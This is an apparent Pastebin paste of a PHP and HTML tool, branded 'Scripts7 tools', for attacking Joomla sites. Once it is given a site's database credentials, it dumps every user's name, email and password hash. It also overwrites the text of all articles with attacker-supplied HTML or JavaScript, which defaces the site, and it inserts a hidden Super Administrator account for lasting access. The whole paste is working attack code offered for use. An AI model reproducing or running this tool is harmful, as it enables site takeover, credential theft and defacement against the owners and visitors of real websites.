Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <! www.scripts7.com !>
- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta content="en-us" http-equiv="Content-Language" />
- <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
- <style type="text/css">
- .auto-style1 {
- color: #EC6900;
- }
- .auto-style2 {
- background-color: #000000;
- }
- .auto-style3 {
- font-size: 22pt;
- }
- .auto-style4 {
- text-align: center;
- }
- .auto-style5 {
- color: #009413;
- }
- .auto-style6 {
- border-left: 1px solid #C0C0C0;
- border-right-style: solid;
- border-right-width: 1px;
- border-top: 1px solid #C0C0C0;
- border-bottom-style: solid;
- border-bottom-width: 1px;
- }
- .auto-style7 {
- border-left-style: solid;
- border-left-width: 1px;
- border-right: 1px solid #C0C0C0;
- border-top-style: solid;
- border-top-width: 1px;
- border-bottom: 1px solid #C0C0C0;
- }
- .showcenter {
- text-align: center;
- }
- </style>
- </head>
- <body style="color: #FFFFFF; background-color: #000000; background-color: black;background-position: 50% 50%;background-repeat: no-repeat;background-attachment: fixed;">
- <div class="auto-style4">
- <p style="text-shadow:0px 0px 7px #3e3e3e" class="auto-style3">
- <strong><span class="auto-style5"> Scripts7 tools </span> </strong></p>
- <strong><span class="auto-style5">Index Changer Joomla 2016 & Add Admin Password </span> </strong></p>
- Show users and Passwords || Change index HTML or Javascript || Add username, Password, Email <br># Password must be : MD5 Joomla
- <br> password is : 12345 : MD5 = e7d4aa4793a91a61bb1f1768095b765c:IEJh02NvSn0C2QmUmg0AuAEZSkgtk6Gv
- <hr></div>
- <form method="post" action="">
- <table style="width: 60%" class="auto-style2" align="center"><tr><td>
- <fieldset name="Group1" style="width: 1166px">
- <legend>Index Changer Joomla 2016</legend>
- <strong>Host</strong> = Ex: public $host = '<span class="auto-style1">localhost</span>';<br>
- <input name="host" type="text" value="localhost" style="width: 256px"> <br>
- <strong>Database User</strong> = public $user = '<span class="auto-style1">user_bwed</span>';<br>
- <input name="user" type="text" value="root" style="width: 256px"><br>
- <strong>Database Name</strong> = Ex: public $db = '<span class="auto-style1">xce_dbwef</span>';<br>
- <input name="db" type="text" value="database" style="width: 256px"><br>
- <strong>Password</strong> = Ex: public $password = '<span class="auto-style1">12345@password</span>';<br>
- <input name="password" type="text" value="password" style="width: 256px"><br>
- <strong>table prefix</strong> = Ex: public $dbprefix = '<span class="auto-style1">prefix jos_</span>';<br>
- <input name="dbprefix" type="text" value="jos_" style="width: 256px"><br><br>
- <textarea name="index" style="width: 1033px; height: 81px"></textarea>
- <br>
- <div class="showcenter">
- <input name="update" type="submit" value="show users">
- <input name="change" type="submit" value="change index"><br>
- Username:
- <input name="adminusername" type="text" style="width: 256px"> Password:
- <input name="adminpassword" type="text" style="width: 256px">
- Email:
- <input name="adminemail" type="text" style="width: 256px"><br>
- <input name="scripts7com" type="submit" value="add admin user"><br>
- <br></div>
- <br></fieldset></td></tr></table></form>
- <table cellpadding="2" cellspacing="1" class="auto-style7" style="background-color:#292929; width: 93%;" align="center">
- <tr>
- <th class="auto-style6" style="width: 40px" >id</th>
- <th class="auto-style6" style="width: 390px">name</th>
- <th class="auto-style6" style="width: 390px">username</th>
- <th class="auto-style6" style="width: 390px">email</th>
- <th class="auto-style6" style="width: 390px">password</th>
- </tr>
- </table>
- <?php
- $host=$_POST['host'];
- $user=$_POST['user'];
- $db=$_POST['db'];
- $password=$_POST['password'];
- $dbprefix=$_POST['dbprefix'];
- $index=$_POST['index'];
- $scripts7_username=$_POST['adminusername'];
- $scripts7_password=$_POST['adminpassword'];
- $scripts7_email=$_POST['adminemail'];
- if ($scripts7com){
- mysql_connect($host,$user,$password) OR die (mysql_error());
- mysql_select_db ($db) or die(mysql_error());
- $scripts7_users=$dbprefix.users;
- $scripts7_result_1=mysql_query(" INSERT INTO $scripts7_users
- (`name`, `username`, `password`, `email`, `params`)
- VALUES ('scripts7.com','$scripts7_username','$scripts7_password','$scripts7_email','') ") or die(mysql_error());
- $scripts7_user_usergroup_map_ID=$dbprefix.user_usergroup_map;
- $scripts7_result_1=mysql_query("INSERT INTO $scripts7_user_usergroup_map_ID (`user_id`,`group_id`)
- VALUES (LAST_INSERT_ID(),'8') ") or die(mysql_error());
- }
- if($scripts7_result_1)
- {
- {
- echo '
- <style type="text/css">
- .style1 {
- text-align: center;
- color: #FF0000;
- font-size: 33pt;
- }</style><p class="style1"><strong>DONE</strong></p>
- ';
- }
- }
- if ($change){
- mysql_connect($host,$user,$password) OR die (mysql_error());
- mysql_select_db ($db) or die(mysql_error());
- $set=$dbprefix.content;
- $result=mysql_query(" update $set set introtext='$index' ") or die(mysql_error());
- }
- if($result)
- {
- {
- echo '
- <style type="text/css">
- .style1 {
- text-align: center;
- color: #FF0000;
- font-size: 33pt;
- }</style><p class="style1"><strong>Index has been changed now</strong></p>
- ';
- }
- }
- if ($update){
- mysql_connect($host,$user,$password) OR die (mysql_error());
- mysql_select_db ($db) or die(mysql_error());
- $set = $dbprefix.users;
- $query = "SELECT * FROM $set";
- $inforesult = mysql_query($query) or die (mysql_error());
- if($inforesult)
- {
- while($row=mysql_fetch_row($inforesult))
- {
- echo <<<HTML
- <head>
- <style type="text/css">
- .auto-style1 {
- color: #61A269;
- border-left: 1px solid #C0C0C0;
- border-right-style: solid;
- border-right-width: 1px;
- border-top: 1px solid #C0C0C0;
- border-bottom-style: solid;
- border-bottom-width: 1px;
- }
- .auto-style2 {
- border-left-style: solid;
- border-left-width: 1px;
- border-right: 1px solid #C0C0C0;
- border-top-style: solid;
- border-top-width: 1px;
- border-bottom: 1px solid #C0C0C0;
- }
- </style>
- </head>
- <body style="color: #FFFFFF; background-color: #000000">
- <table cellpadding="2" cellspacing="1" class="auto-style2" style="background-color:#292929" width="93%" align="center">
- <tr class="0">
- <td class="auto-style1" style="width: 40px" >$row[0]</td>
- <td class="auto-style1" style="width: 390px" >$row[1]</td>
- <td class="auto-style1" style="width: 390px" >$row[2]</td>
- <td class="auto-style1" style="width: 390px" >$row[3]</td>
- <td class="auto-style1" style="width: 390px">$row[4]</td>
- </tr></table>
- HTML;
- }
- }
- else
- echo "There was no matching record for the name " . $update;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement